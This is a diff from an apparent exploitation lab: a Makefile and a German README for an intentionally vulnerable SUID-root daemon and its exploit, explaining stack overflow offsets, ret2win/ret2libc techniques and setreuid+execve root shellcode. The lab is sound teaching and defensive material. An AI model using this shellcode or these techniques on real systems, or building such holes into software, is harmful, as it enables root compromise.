# --- the vulnerable build -----------------------------------------------------
|
||||||
|
# Same deliberate removals as the parent lab, now with a SUID twist: dropping
|
||||||
|
# the canary, PIE and NX is what makes the techniques reachable, but NONE of
|
||||||
|
# them has anything to do with the +s bit. A hardened build of this same
|
||||||
|
# source is still a SUID binary -- just a harder-to-abuse one.
|
||||||
|
VULN := -fno-stack-protector -no-pie -z execstack
|
||||||
|
|
||||||
|
# --- the hardened build -------------------------------------------------------
|
||||||
|
HARDEN := -fstack-protector-strong -fPIE -pie -z noexecstack
|
||||||
|
|
||||||
|
TESTCFLAGS := $(CSTD) $(DBG) $(WARN)
|
||||||
|
|
||||||
|
# Port: kept distinct from the parent lab's 2342 so both can run together.
|
||||||
|
PORT ?= 2343
|
||||||
|
|
||||||
|
all: foosd foosc tests/pty_suid_test
|
||||||
|
|
||||||
|
# -----------------------------------------------------------------------------
|
||||||
|
# The daemon. It becomes SUID later via `make setuid`; the build itself is
|
||||||
|
# ordinary (a setuid bit is a filesystem attribute, not a linker flag).
|
||||||
|
# -----------------------------------------------------------------------------
|
||||||
|
foosd: foosd.c
|
||||||
|
$(CC) $(CSTD) $(DBG) $(WARN) $(VULN) -o $@ $<
|
||||||
|
|
||||||
|
# -----------------------------------------------------------------------------
|
||||||
|
# The exploit: mitigations ON (the attacker gains nothing by self-weakening).
|
||||||
|
# -ldl for dlsym(), which measures libc offsets at runtime instead of
|
||||||
|
# hardcoding numbers that break on the next glibc update.
|
||||||
|
# -----------------------------------------------------------------------------
|
||||||
|
foosc: foosc.c
|
||||||
|
$(CC) $(CSTD) $(DBG) $(WARN) -fstack-protector-strong -o $@ $< -ldl
|
||||||
|
|
||||||
|
tests/pty_suid_test: tests/pty_suid_test.c
|
||||||
|
$(CC) $(TESTCFLAGS) -o $@ $<
|
||||||
|
|
||||||
|
# -----------------------------------------------------------------------------
|
||||||
|
# setuid: install the SUID-root state. Requires root (sudo). After this,
|
||||||
|
# `./foosd` run by ANY user starts with euid 0.
|
||||||
|
#
|
||||||
|
# Note the file must be owned by root AND the surrounding directory must not
|
||||||
|
# be writable by others -- a root-owned SUID binary in a world-writable dir
|
||||||
|
# is itself a classic bug (anyone can replace or relink it as root later).
|
||||||
|
# -----------------------------------------------------------------------------
|
||||||
|
setuid: foosd
|
||||||
|
@echo "=== giving foosd the setuid bit (needs your sudo password)"
|
||||||
|
@sudo sh -c 'chown root:root foosd && chmod u+s foosd && chmod 755 foosd'
|
||||||
|
@echo
|
||||||
|
@ls -l foosd
|
||||||
|
@echo
|
||||||
|
@echo "=== expect the owner 'root' and a mode starting with -rws (the s)."
|
||||||
|
@stat -c 'owner=%U mode=%A' foosd
|
||||||
|
@echo "=== now: make run ; make test-suid"
|
||||||
|
@echo "=== when done: make stop ; make unsetuid"
|
||||||
|
|
||||||
|
unsetuid:
|
||||||
|
@if [ -f foosd ]; then \
|
||||||
|
sudo chmod u-s foosd; \
|
||||||
|
echo "=== setuid bit removed from foosd."; \
|
||||||
|
echo "=== (It may still be owned by root; rebuild with 'make unsetuid && make' \
|
||||||
|
or 'sudo make clean && make'.)"; \
|
||||||
|
stat -c 'owner=%U mode=%A' foosd; \
|
||||||
|
else \
|
||||||
|
echo "=== foosd not built; nothing to do"; \
|
||||||
|
fi
|
||||||
|
|
||||||
|
# -----------------------------------------------------------------------------
|
||||||
|
# status: what state is the binary in? The daemon also reports this in its log
|
||||||
|
# at startup, so this is just a convenience.
|
||||||
|
# -----------------------------------------------------------------------------
|
||||||
|
status:
|
||||||
|
@if [ ! -f foosd ]; then echo "=== foosd is not built yet (make)."; exit 0; fi
|
||||||
|
@owner=$$(stat -c %U foosd); mode=$$(stat -c %A foosd); \
|
||||||
|
echo "=== foosd: owner=$$owner mode=$$mode"; \
|
||||||
|
case "$$mode" in -rws*) \
|
||||||
|
echo "=== SUID state: setuid-root ACTIVE -> shellcode gives root.";; \
|
||||||
|
*) \
|
||||||
|
echo "=== SUID state: not setuid (yet) -> run: sudo make setuid";; \
|
||||||
|
esac
|
||||||
|
|
||||||
|
# -----------------------------------------------------------------------------
|
||||||
|
# run / stop. setsid + nohup + </dev/null are all required so the daemon
|
||||||
|
# survives the invoking shell and never competes with you for the terminal.
|
||||||
|
# -----------------------------------------------------------------------------
|
||||||
|
run: foosd
|
||||||
|
@echo "=== starting foosd on 127.0.0.1:$(PORT)"
|
||||||
|
@setsid nohup ./foosd > foosd.log 2>&1 </dev/null & \
|
||||||
|
disown 2>/dev/null || true
|
||||||
|
@sleep 1
|
||||||
|
@if pgrep -x foosd >/dev/null; then \
|
||||||
|
echo "=== foosd is running (pid $$(pgrep -x foosd | head -1))"; \
|
||||||
|
echo "=== stack segment -- 'rwxp' means executable (needed for shellcode):"; \
|
||||||
|
grep '\[stack\]' /proc/$$(pgrep -x foosd | head -1)/maps; \
|
||||||
|
echo "=== startup log line (uid/euid state):"; \
|
||||||
|
grep startup foosd.log; \
|
||||||
|
else \
|
||||||
|
echo "=== foosd failed to start; see foosd.log"; exit 1; \
|
||||||
|
fi
|
||||||
|
|
||||||
|
stop:
|
||||||
|
@if pgrep -x foosd >/dev/null; then \
|
||||||
|
pkill -x foosd; sleep 0.5; \
|
||||||
|
echo "=== foosd stopped"; \
|
||||||
|
else \
|
||||||
|
echo "=== foosd was not running"; \
|
||||||
|
fi
|
||||||
|
@# Also clean up a leftover hardened daemon; it would hold the port.
|
||||||
|
@if pgrep -x foosd_hardened >/dev/null; then \
|
||||||
|
pkill -x foosd_hardened; sleep 0.5; \
|
||||||
|
echo "=== foosd_hardened stopped"; \
|
||||||
|
fi
|
||||||
|
|
||||||
|
# -----------------------------------------------------------------------------
|
||||||
|
# test: the technique matrix. Works whether or not the setuid bit is set.
|
||||||
|
#
|
||||||
|
# shellcode / ret2win-root are the ESCALATING ones: the Makefile demands
|
||||||
|
# root ("--must-root") -- without the setuid bit
|
||||||
|
# these FAIL, which is the correct answer.
|
||||||
|
# ret2win / ret2libc are the DEMOTED ones: they land a shell, but
|
||||||
|
# bash resets euid=ruid, so root is NOT expected.
|
||||||
|
# The harness is used WITHOUT --must-root, and
|
||||||
|
# the ROOT= line printed tells the truth either
|
||||||
|
# way.
|
||||||
|
#
|
||||||
|
# The verdict is pty_suid_test's EXIT STATUS, never a grep of its output.
|
||||||
|
# -----------------------------------------------------------------------------
|
||||||
|
test: tests/pty_suid_test
|
||||||
|
@fail=0; \
|
||||||
|
echo "=== ret2libc (expect shell, NOT root: the shell resets euid)"; \
|
||||||
|
./tests/pty_suid_test -t ret2libc 2>&1 >/dev/null || fail=1; \
|
||||||
|
echo "=== ret2win (expect shell, NOT root: win() leaves ruid set)"; \
|
||||||
|
./tests/pty_suid_test -t ret2win 2>&1 >/dev/null || fail=1; \
|
||||||
|
echo "=== ret2win-root (expect ROOT shell: win_root() clears ruid)"; \
|
||||||
|
./tests/pty_suid_test -t ret2win-root --must-root 2>&1 >/dev/null || fail=1; \
|
||||||
|
echo "=== shellcode (expect ROOT shell: setreuid+execve)"; \
|
||||||
|
./tests/pty_suid_test -t shellcode --must-root 2>&1 >/dev/null || fail=1; \
|
||||||
|
echo; \
|
||||||
|
if [ $$fail -eq 0 ]; then \
|
||||||
|
echo "=== shellcode and ret2win-root escalated to root."; \
|
||||||
|
echo "=== If you expected this WITHOUT running 'make setuid', note"; \
|
||||||
|
echo "=== that foosd must be setuid-root for euid to be 0."; \
|
||||||
|
else \
|
||||||
|
echo "=== at least one technique did not behave as expected."; \
|
||||||
|
echo "=== Check the ROOT= value above, foosd.log, and README.md."; \
|
||||||
|
fi; \
|
||||||
|
exit $$fail
|
||||||
|
|
||||||
|
# -----------------------------------------------------------------------------
|
||||||
|
# test-suid: the same matrix, but it explicitly checks the setuid state first
|
||||||
|
# so the diagnosis is obvious. Run AFTER sudo make setuid and make run.
|
||||||
|
# -----------------------------------------------------------------------------
|
||||||
|
test-suid: tests/pty_suid_test
|
||||||
|
@if [ ! -u foosd ] || [ "$$(stat -c %U foosd)" != "root" ]; then \
|
||||||
|
echo "!!! foosd is not setuid-root. Run: sudo make setuid"; exit 1; \
|
||||||
|
fi
|
||||||
|
@$(MAKE) --no-print-directory test
|
||||||
|
|
||||||
|
# -----------------------------------------------------------------------------
|
||||||
|
# verify: prove the shellcode bytes in foosc.c are byte-for-byte what nasm
|
||||||
|
# produces from shellcode.S. A hand-maintained hex array and a hand-written
|
||||||
|
# .S file are both easy to get wrong; the diff catches it automatically.
|
||||||
|
# -----------------------------------------------------------------------------
|
||||||
|
verify verify-shellcode: shellcode.S foosc.c
|
||||||
|
@command -v nasm >/dev/null 2>&1 || { \
|
||||||
|
echo "verify-shellcode: nasm is not installed; skipping."; \
|
||||||
|
echo " (Arch: pacman -S nasm)"; exit 0; }
|
||||||
|
@echo "=== Assembling shellcode.S ..."
|
||||||
|
@nasm -f bin -o shellcode.bin shellcode.S
|
||||||
|
@echo "=== nasm output:"
|
||||||
|
@od -An -tx1 -v shellcode.bin | tr -s ' \n' ' ' | sed -e 's/^ //' \
|
||||||
|
-e 's/[[:space:]]*$$//'
|
||||||
|
@echo
|
||||||
|
@# Pull the hex list out of the C array. Strip the trailing /* */ annotations
|
||||||
|
@# first (they mention hex constants like "0x71"), then grep the literals.
|
||||||
|
@sed -n '/^static const unsigned char SHELLCODE\[\] = {/,/^};/p' foosc.c \
|
||||||
|
| sed -e 's,/\*.*\*,,' \
|
||||||
|
| grep -o '0x[0-9a-fA-F][0-9a-fA-F]' \
|
||||||
|
| tr 'A-F' 'a-f' | tr '\n' ' ' | sed -e 's/^ //' -e 's/[[:space:]]*$$//' \
|
||||||
|
> .sc_c_raw.txt
|
||||||
|
@echo "=== bytes declared in foosc.c's SHELLCODE[] array:"
|
||||||
|
@cat .sc_c_raw.txt
|
||||||
|
@echo
|
||||||
|
@echo "=== comparing ..."
|
||||||
|
@sed -e 's/0x//g' .sc_c_raw.txt > .sc_c.txt
|
||||||
|
@od -An -tx1 -v shellcode.bin | tr -s ' \n' ' ' | sed -e 's/^ //' \
|
||||||
|
-e 's/[[:space:]]*$$//' > .sc_asm.txt
|
||||||
|
@if cmp -s .sc_c.txt .sc_asm.txt; then \
|
||||||
|
n=$$(wc -c < shellcode.bin); \
|
||||||
|
echo "MATCH: the $$n bytes in foosc.c are byte-for-byte what"; \
|
||||||
|
echo " shellcode.S assembles to."; \
|
||||||
|
rm -f .sc_c_raw.txt .sc_c.txt .sc_asm.txt; \
|
||||||
|
else \
|
||||||
|
echo "MISMATCH -- the two differ:"; \
|
||||||
|
diff .sc_c.txt .sc_asm.txt || true; \
|
||||||
|
rm -f .sc_c_raw.txt .sc_c.txt .sc_asm.txt; exit 1; \
|
||||||
|
fi
|
||||||
|
|
||||||
|
# -----------------------------------------------------------------------------
|
||||||
|
# hardened: same source, all mitigations ON. Every technique should die at the
|
||||||
|
# canary; the point is the console contrast with the vulnerable build, and the
|
||||||
|
# reminder in README.md that a hardened build is still a SUID binary.
|
||||||
|
# -----------------------------------------------------------------------------
|
||||||
|
hardened: foosd.c
|
||||||
|
$(CC) $(CSTD) $(DBG) $(WARN) $(HARDEN) -o foosd_hardened $<
|
||||||
|
@echo
|
||||||
|
@echo "=== foosd_hardened built with the mitigations ON."
|
||||||
|
@echo "=== Stack segment ('RW' is what you want; 'RWE' would be executable):"
|
||||||
|
@readelf -W -l foosd_hardened | grep GNU_STACK
|
||||||
|
|
||||||
|
# test-hardened: swap the hardened daemon in, show every technique failing,
|
||||||
|
# then put the vulnerable one back exactly as it was.
|
||||||
|
test-hardened: hardened tests/pty_suid_test
|
||||||
|
@if ! pgrep -x foosd >/dev/null; then \
|
||||||
|
echo "=== start the daemon first: make run"; exit 1; \
|
||||||
|
fi
|
||||||
|
@$(MAKE) --no-print-directory stop
|
||||||
|
@echo "### starting foosd_hardened instead"
|
||||||
|
@setsid nohup ./foosd_hardened > foosd_hardened.log 2>&1 </dev/null \
|
||||||
|
& disown 2>/dev/null || true
|
||||||
|
@sleep 1
|
||||||
|
@if ! pgrep -x foosd_hardened >/dev/null; then \
|
||||||
|
echo "!!! foosd_hardened did not start; see foosd_hardened.log"; \
|
||||||
|
$(MAKE) --no-print-directory stop; exit 1; \
|
||||||
|
fi
|
||||||
|
@echo "### stack segment: 'rw-p' (NOT executable) is what you want to see"
|
||||||
|
@grep '\[stack\]' /proc/$$(pgrep -x foosd_hardened | head -1)/maps || true
|
||||||
|
@echo
|
||||||
|
@for t in ret2libc ret2win ret2win-root shellcode; do \
|
||||||
|
echo "=================== $$t"; \
|
||||||
|
if ./tests/pty_suid_test -t $$t 2>&1 >/dev/null; then \
|
||||||
|
echo "--- $$t: got a shell (report the ROOT= line above)"; \
|
||||||
|
else \
|
||||||
|
echo "--- $$t was stopped by the mitigations (as expected)"; \
|
||||||
|
fi; \
|
||||||
|
done
|
||||||
|
@echo
|
||||||
|
@$(MAKE) --no-print-directory stop
|
||||||
|
@echo "### restoring the vulnerable daemon"
|
||||||
|
@setsid nohup ./foosd > foosd.log 2>&1 </dev/null & disown 2>/dev/null || true
|
||||||
|
@sleep 1
|
||||||
|
@echo
|
||||||
|
@echo "=== mitigation contrast is above. See README.md."
|
||||||
|
|
||||||
|
# -----------------------------------------------------------------------------
|
||||||
|
# debug: rebuild for gdb and show the first breakpoints to try.
|
||||||
|
# -----------------------------------------------------------------------------
|
||||||
|
debug: foosd.c
|
||||||
|
$(CC) $(CSTD) $(DBG) $(WARN) $(VULN) -o foosd $<
|
||||||
|
@echo "=== built ./foosd for gdb. Try:"
|
||||||
|
@echo " gdb -q ./foosd"
|
||||||
|
@echo " (gdb) break foosd.c:392 # the read() that overflows"
|
||||||
|
@echo " (gdb) run -p 2343"
|
||||||
|
@echo " (gdb) info registers rsp rbp"
|
||||||
|
|
||||||
|
# -----------------------------------------------------------------------------
|
||||||
|
# clean. NOTE: after `make setuid` the binary is root-owned; rm works (delete
|
||||||
|
# permission lives on the directory) but recompiling over it does not. If make
|
||||||
|
# fails with "Permission denied" here, run `sudo make clean` first.
|
||||||
|
# -----------------------------------------------------------------------------
|
||||||
|
clean:
|
||||||
|
rm -f foosd foosc foosd_hardened shellcode.bin
|
||||||
|
rm -f .sc_c_raw.txt .sc_c.txt .sc_asm.txt
|
||||||
|
rm -f tests/pty_suid_test
|
||||||
|
@echo "=== cleaned. (foosd.log is left alone; it is your evidence.)"
|
||||||
|
|
||||||
|
.PHONY: all setuid unsetuid status run stop test test-suid verify \
|
||||||
|
verify-shellcode hardened test-hardened debug clean
|
||||||
406
suid/README.DE.md
Normal file
406
suid/README.DE.md
Normal file
|
|
@ -0,0 +1,406 @@
|
||||||
|
# SUID-Root-RCE-Labor — `foosd` (Daemon) + `foosc` (Exploit)
|
||||||
|
|
||||||
|
Ein Begleiter zum übergeordneten Labor (`food` / `fooc`, ein gewöhnlicher
|
||||||
|
Daemon, bei dem ein Pufferüberlauf eine *Benutzer*-Shell liefert). Dieses fügt
|
||||||
|
die gefährlichste Ein-Zeichen-Änderung in Unix hinzu: das **Setuid-Bit**.
|
||||||
|
|
||||||
|
> `chmod u+s` verwandelt „der Angreifer kann Code auf diesem Host ausführen" in
|
||||||
|
> „der Angreifer kann auf diesem Host Code als **root** ausführen".
|
||||||
|
|
||||||
|
Dieser Satz ist das gesamte Labor. Alles darunter ist der Mechanismus darunter,
|
||||||
|
aufgeschrieben, damit du beim Schreiben eigener Software genau weißt, welche
|
||||||
|
zwei oder drei Dateisystem-Attribute und Compiler-Flags entscheiden, ob ein
|
||||||
|
Speichersicherheitsbug in deinem Code eine Belästigung oder eine Root-Shell ist.
|
||||||
|
|
||||||
|
Die finale Demo, wenn `foosd` setuid-root ist, ist eine **Root-Shell**, die
|
||||||
|
über das Netzwerk geöffnet wird, indem 32 Bytes handgeschriebener Shellcode
|
||||||
|
ausgeführt werden.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 1. Was das Setuid-Bit tatsächlich tut
|
||||||
|
|
||||||
|
Jeder Prozess unter Linux trägt drei User-IDs, und das Setuid-Bit bastelt an
|
||||||
|
der Beziehung zwischen ihnen:
|
||||||
|
|
||||||
|
| ID | Name | Bedeutung |
|
||||||
|
|----|------|---------|
|
||||||
|
| `ruid` | reale User-ID | das Konto, das den Prozess *gestartet* hat |
|
||||||
|
| `euid` | effektive User-ID | was der Kernel bei der Durchsetzung von Zugriffsrechten prüft |
|
||||||
|
| (saved) | gespeicherte Set-User-ID | ein „Slot", in den ein privilegierter Prozess später zurückkehren darf |
|
||||||
|
|
||||||
|
Ein normales Programm hat `ruid == euid`. Wenn du ein Binärprogramm mit
|
||||||
|
gesetztem Setuid-Bit ausführst, das root gehört:
|
||||||
|
|
||||||
|
```text
|
||||||
|
ruid = du (z. B. 1000, "hanez")
|
||||||
|
euid = der Besitzer (z. B. 0, "root")
|
||||||
|
```
|
||||||
|
|
||||||
|
Der Prozess hat also **roots Autorität**, obwohl der Benutzer, der ihn
|
||||||
|
gestartet hat, völlig gewöhnlich ist. Jede Prüfung, die der Kernel durchführt —
|
||||||
|
kann dieser Prozess `/etc/shadow` lesen? eine Datei schreiben? einen anderen
|
||||||
|
Prozess töten? — wird mit `euid` beantwortet, d. h. „ja, es ist root".
|
||||||
|
|
||||||
|
`foosd` ist ein Netzwerk-Daemon. Er bindet einen Port und `fork()`t dann pro
|
||||||
|
Verbindung ein Kind. Ein Fork *erbt* die euid, also ist auch jedes Kind, das
|
||||||
|
eine Verbindung behandelt, root. Der Overflow in `foosd`s
|
||||||
|
`vulnerable_handler()` ist daher ein Overflow *in einem Root-Prozess*.
|
||||||
|
|
||||||
|
**Diagnostiziere es selbst, sobald der Daemon läuft:**
|
||||||
|
|
||||||
|
```console
|
||||||
|
$ ./foosd ... # siehe die Log-Zeile beim Start
|
||||||
|
[foosd 1234] startup: ruid=1000 euid=0 -> ROOT process
|
||||||
|
```
|
||||||
|
|
||||||
|
und vom Exploit aus:
|
||||||
|
|
||||||
|
```console
|
||||||
|
$ ./foosc -t leak
|
||||||
|
foosc: target euid=0 ruid=1000
|
||||||
|
```
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 2. Das Labor auf einen Blick
|
||||||
|
|
||||||
|
| Datei | Rolle |
|
||||||
|
|------|------|
|
||||||
|
| `foosd.c` | Der absichtlich angreifbare Daemon (besitzt die Bugs). Für die Root-Shell-Demo als *setuid-root*-Binärprogramm ausführen. |
|
||||||
|
| `foosc.c` | Der Exploit. Standard: die 32-Byte-`setreuid + execve`-Shellcode-Technik. |
|
||||||
|
| `shellcode.S` | Der Referenz-Shellcode; `make verify` vergleicht ihn mit dem Byte-Array in `foosc.c`. |
|
||||||
|
| `tests/pty_suid_test.c` | Test-Harness. Treibt `foosc` durch ein Pseudo-Terminal und beweist sowohl „eine Shell lief" als auch „sie war root" (`uid=0(`). |
|
||||||
|
| `Makefile` | Build, `setuid`/`unsetuid`-Helfer, Test-Matrix. |
|
||||||
|
| `README.md` | Diese Datei. |
|
||||||
|
|
||||||
|
> **Warum eine pty?** Die letzte Aktion des Exploits ist es, dein Terminal an
|
||||||
|
> die Shell weiterzuleiten, die auf dem Opfer läuft. Eine Pipe oder ein
|
||||||
|
> Here-Doc landet am falschen Ende dieser Weiterleitung; ein echtes Terminal
|
||||||
|
> ist erforderlich.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 3. Schnellstart
|
||||||
|
|
||||||
|
```console
|
||||||
|
$ make # alles bauen, als dein normaler Benutzer
|
||||||
|
$ make setuid # einmalig, fragt nach sudo: chown root + chmod u+s
|
||||||
|
$ make run # startet foosd auf 127.0.0.1:2343
|
||||||
|
$ make test-suid # volle Matrix; shellcode + ret2win-root müssen root ergeben
|
||||||
|
```
|
||||||
|
|
||||||
|
Interaktiver Smoke-Test:
|
||||||
|
|
||||||
|
```console
|
||||||
|
$ ./foosc -t shellcode
|
||||||
|
...
|
||||||
|
foosc: target euid=0 ruid=1000
|
||||||
|
foosc: shell is on the victim (root if foosd is SUID); relaying
|
||||||
|
# id
|
||||||
|
uid=0(root) gid=0(root) groups=0(root) <-- du bist root, auf dem Opfer
|
||||||
|
# exit
|
||||||
|
```
|
||||||
|
|
||||||
|
Wenn du fertig bist:
|
||||||
|
|
||||||
|
```console
|
||||||
|
$ make stop
|
||||||
|
$ make unsetuid # Hygiene: nie ein Root-SUID-Binärprogramm liegen lassen
|
||||||
|
```
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 4. *Wann sollte ich das SUID-Bit setzen?* — die Antwort, die du wolltest
|
||||||
|
|
||||||
|
Genau **einmal, nach dem Bauen, vor dem Start des Daemons für die
|
||||||
|
Root-Shell-Demos** — und nur auf einer Maschine, die dir gehört, wegwerfbar und
|
||||||
|
vom Netzwerk getrennt ist:
|
||||||
|
|
||||||
|
```console
|
||||||
|
$ make # kompiliere foosd, foosc, tests
|
||||||
|
$ make setuid # <-- DER Moment. sudo chown root:root foosd && sudo chmod u+s foosd
|
||||||
|
$ make run # starte NACH dem Setzen des Bits
|
||||||
|
```
|
||||||
|
|
||||||
|
Zwei Regeln, die wichtiger sind als der exakte Zeitpunkt:
|
||||||
|
|
||||||
|
1. **Setze es erst, wenn das Binärprogramm final ist.** Wenn du das Bit setzt
|
||||||
|
und danach neu baust (`make` / `make clean`), bekommst du beim Schreiben der
|
||||||
|
root-gehörigen Ausgabedatei ein „Permission denied" — und wenn du den
|
||||||
|
Rebuild erzwingst, erstellt die Toolchain die Datei **ohne** das `s` neu,
|
||||||
|
womit die Einrichtung still rückgängig gemacht wird. Die kanonische
|
||||||
|
Reihenfolge bei jedem Rebuild ist daher
|
||||||
|
|
||||||
|
```console
|
||||||
|
$ make unsetuid && make && make setuid
|
||||||
|
```
|
||||||
|
|
||||||
|
2. **Entferne es, wenn du fertig bist.** `make unsetuid`. Ein lebendes,
|
||||||
|
root-gehöriges Setuid-Binärprogramm mit einem ausnutzbaren Bug in deinem
|
||||||
|
Baum ist kein Lernmittel, sondern ein Root-Loch mit einem Compilefehler
|
||||||
|
zwischen ihm und nirgendwo. Auf einer geteilten oder Produktionsmaschine:
|
||||||
|
**mach davon nichts.** Der Daemon weigert sich außerdem standardmäßig,
|
||||||
|
etwas anderes als Loopback zu binden (siehe §7).
|
||||||
|
|
||||||
|
Wenn du den Exploit *ohne* je gesetztes Bit ausführst, bricht nichts — der
|
||||||
|
Payload landet trotzdem und du bekommst trotzdem eine Shell. Der Unterschied
|
||||||
|
steckt in einer Zahl, und der Exploit sagt sie laut:
|
||||||
|
|
||||||
|
```console
|
||||||
|
foosc: WARNING: the daemon is NOT running with euid 0.
|
||||||
|
The payload will still land, but the shell will be
|
||||||
|
a plain user shell, not root.
|
||||||
|
Fix: sudo make setuid
|
||||||
|
```
|
||||||
|
|
||||||
|
Dieses „funktioniert, aber nicht root" ist selbst Teil des Labors. Behalte es
|
||||||
|
für den nächsten Abschnitt im Kopf.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 5. Der Mechanismus — und die Wendung, die SUID interessant macht
|
||||||
|
|
||||||
|
### 5.1 Der Overflow (identisch zu `food`)
|
||||||
|
|
||||||
|
`foosd`s Handler gibt einem `read()` 512 Bytes Vertrauen, während er ihm einen
|
||||||
|
64-Byte-Stack-Puffer reicht:
|
||||||
|
|
||||||
|
```c
|
||||||
|
char buf[64];
|
||||||
|
n = read(fd, buf, 512); /* <- CWE-120: 448 Bytes über die Kante */
|
||||||
|
```
|
||||||
|
|
||||||
|
Auf x86-64 wächst der Stack nach unten. Der Exploit schreibt 64 Bytes Müll, um
|
||||||
|
`buf` zu füllen, 8, um den gespeicherten Frame-Pointer zu füllen, und 8 mehr,
|
||||||
|
um die **gespeicherte Rücksprungadresse** zu ersetzen. Wenn
|
||||||
|
`vulnerable_handler` das `ret` ausführt, poppt die CPU den Wert des Angreifers
|
||||||
|
in `RIP` — vom Angreifer kontrollierte Codeausführung. Der Exploit ermittelt
|
||||||
|
den exakten Abstand (88 Bytes für diesen Build), indem er die `objdump`-Ausgabe
|
||||||
|
parst, statt ihn hart zu verdrahten, sodass die Zahl Rebuilds überlebt.
|
||||||
|
|
||||||
|
### 5.2 Die Wendung: Die Shell weigert sich, root zu sein
|
||||||
|
|
||||||
|
Hier geht „SUID-Bug → /bin/sh spawne → root" fehl, und das ist der Grund,
|
||||||
|
warum dieses Labor genau diese Form hat.
|
||||||
|
|
||||||
|
Wenn ein setuid-root-Programm läuft, ist sein `ruid` immer noch der
|
||||||
|
startende Benutzer und sein `euid` ist root. Wenn das Programm — oder der
|
||||||
|
Angreifer — jetzt eine Shell startet:
|
||||||
|
|
||||||
|
* `execve("/bin/sh")` ändert die uids **nicht**; der neue Prozess erbt
|
||||||
|
`(ruid=1000, euid=0)`.
|
||||||
|
* bash (und dash) **prüfen genau diese Bedingung beim Start**. Aus dem
|
||||||
|
bash-Handbuch: *„If the shell is started with the effective user (group) id
|
||||||
|
not equal to the real user (group) id, and the -p option is not supplied, …
|
||||||
|
the effective user id is set to the real user id."*
|
||||||
|
|
||||||
|
Die Shell wirft also einen Blick auf sich selbst und *lässt root fallen* — eine
|
||||||
|
Verteidigung, die die Shell-Autoren genau gegen diesen Angriff gebaut haben
|
||||||
|
(die historische Rechtfertigung war das Setuid-Shell-/Setuid-Skript-Problem).
|
||||||
|
Das Ergebnis sind die „funktioniert, aber nicht root"-Fälle:
|
||||||
|
|
||||||
|
| Technik | Was sie ausführt | Resultierende uid |
|
||||||
|
|-----------|------------------|---------------|
|
||||||
|
| `ret2win` | `foosd`s `win()` → `execl("/bin/sh")` | **1000** — Shell gelandet, root von bash zurückgesetzt |
|
||||||
|
| `ret2libc` | `system("/bin/sh")` → frisches `sh -c '/bin/sh'` | **1000** — gleiches Zurücksetzen, eine Ebene tiefer |
|
||||||
|
| `ret2win-root` | `foosd`s `win_root()` → `setreuid(0,0); execl("/bin/sh")` | **0** — ruid aus C heraus geleert |
|
||||||
|
| `shellcode` | 32 Bytes: `setreuid(0,0); execve("/bin/sh")` | **0** — ruid aus Maschinencode geleert |
|
||||||
|
|
||||||
|
Die beiden, die root erreichen, unterscheiden sich von den beiden, die es
|
||||||
|
nicht tun, um genau eine Idee: **sie leeren die *reale* uid, nicht nur die
|
||||||
|
effektive.**
|
||||||
|
|
||||||
|
```c
|
||||||
|
setuid(0) /* setzt euid auf 0, aber ruid bleibt 1000:
|
||||||
|
bash sieht weiterhin euid != ruid und setzt IMMER NOCH
|
||||||
|
zurück. */
|
||||||
|
setreuid(0, 0) /* setzt BEIDE: ruid = euid = 0.
|
||||||
|
bash sieht gleiche uids und behält root. */
|
||||||
|
```
|
||||||
|
|
||||||
|
Deshalb beginnt der klassische `/bin/sh`-Shellcode, den du überall im Internet
|
||||||
|
findest, mit einem uid-leerenden Syscall — und deshalb ist der Shellcode hier
|
||||||
|
32 Bytes statt 23: Die ersten fünf Anweisungen sind
|
||||||
|
|
||||||
|
```asm
|
||||||
|
xor edi, edi ; ruid = 0
|
||||||
|
xor esi, esi ; euid = 0
|
||||||
|
push 0x71 ; 113 = __NR_setreuid
|
||||||
|
pop rax
|
||||||
|
syscall
|
||||||
|
```
|
||||||
|
|
||||||
|
### 5.3 Also, was ist der Exploit Ende-zu-Ende?
|
||||||
|
|
||||||
|
1. `foosc` liest `foosd`s Banner über den Socket. Es bekommt:
|
||||||
|
- `ids=0/1000` — euid/ruid (die SUID-Selbstdiagnose)
|
||||||
|
- `stack=…` und `libc=…` — Pointer (die ASLR-Leaks)
|
||||||
|
- `BUF=…` — die exakte Adresse des Puffers, den es gleich überlaufen lässt
|
||||||
|
2. Aus dem Ziel-Binärprogramm (via `objdump`) lernt es `rip_off` und die
|
||||||
|
Adressen von `win()` / `win_root()`.
|
||||||
|
3. Aus *seiner eigenen* libc (via `/proc/self/maps` + `dlsym` + einen
|
||||||
|
Speicherscan) misst es die Offsets von `system`, `read`, `/bin/sh` und
|
||||||
|
eines `pop rdi; ret`-Gadgets — nichts ist hart verdrahtet.
|
||||||
|
4. Es setzt den Payload zusammen. Für `-t shellcode` ist das:
|
||||||
|
`[32-Byte-setreuid+execve-Code][Padding bis RIP][ret-Fix][Adresse von buf]`.
|
||||||
|
5. `foosd`s `read()` läuft über; `ret` landet auf dem Shellcode; der Kernel
|
||||||
|
führt `setreuid(0,0)` aus (ok: euid 0 ist privilegiert) und danach `execve`
|
||||||
|
von `/bin/sh`. bash startet mit `ruid == euid == 0` und bleibt root.
|
||||||
|
6. `foosc` leitet dein Terminal an diese Root-Shell weiter, bis du `exit`
|
||||||
|
tippst.
|
||||||
|
|
||||||
|
Ein Details zur Absicherung, das Leute viel Zeit kostet, wenn es übersehen
|
||||||
|
wird: Der Exploit testet jedes uid-leerende Verhalten **ohne** das benötigte
|
||||||
|
Setuid-Bit zuerst. Führe `make test` vor `make setuid` aus, und du siehst jede
|
||||||
|
Technik eine Shell landen, während `ROOT=MISSING` dasteht; führe `make
|
||||||
|
test-suid` nach `make setuid` aus, und `ROOT=SEEN` erscheint bei den zwei
|
||||||
|
Techniken, die die reale uid leeren. Dieses A/B ist die ganze Lektion,
|
||||||
|
ausführbar in zehn Sekunden.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 6. Die alten Einzeiler — und warum die meisten von ihnen tot sind
|
||||||
|
|
||||||
|
Wenn du über SUID gelesen hast, hast du über `PATH`-Hijacking, `LD_PRELOAD`
|
||||||
|
und Setuid-Shells gelesen. Alle drei sind klassisch, und alle drei scheitern
|
||||||
|
auf einem modernen System gegen *dieses Programm*. Es lohnt sich, genau zu
|
||||||
|
wissen, warum, denn die Gründe sind die Verteidigungen, die du gratis
|
||||||
|
bekommst:
|
||||||
|
|
||||||
|
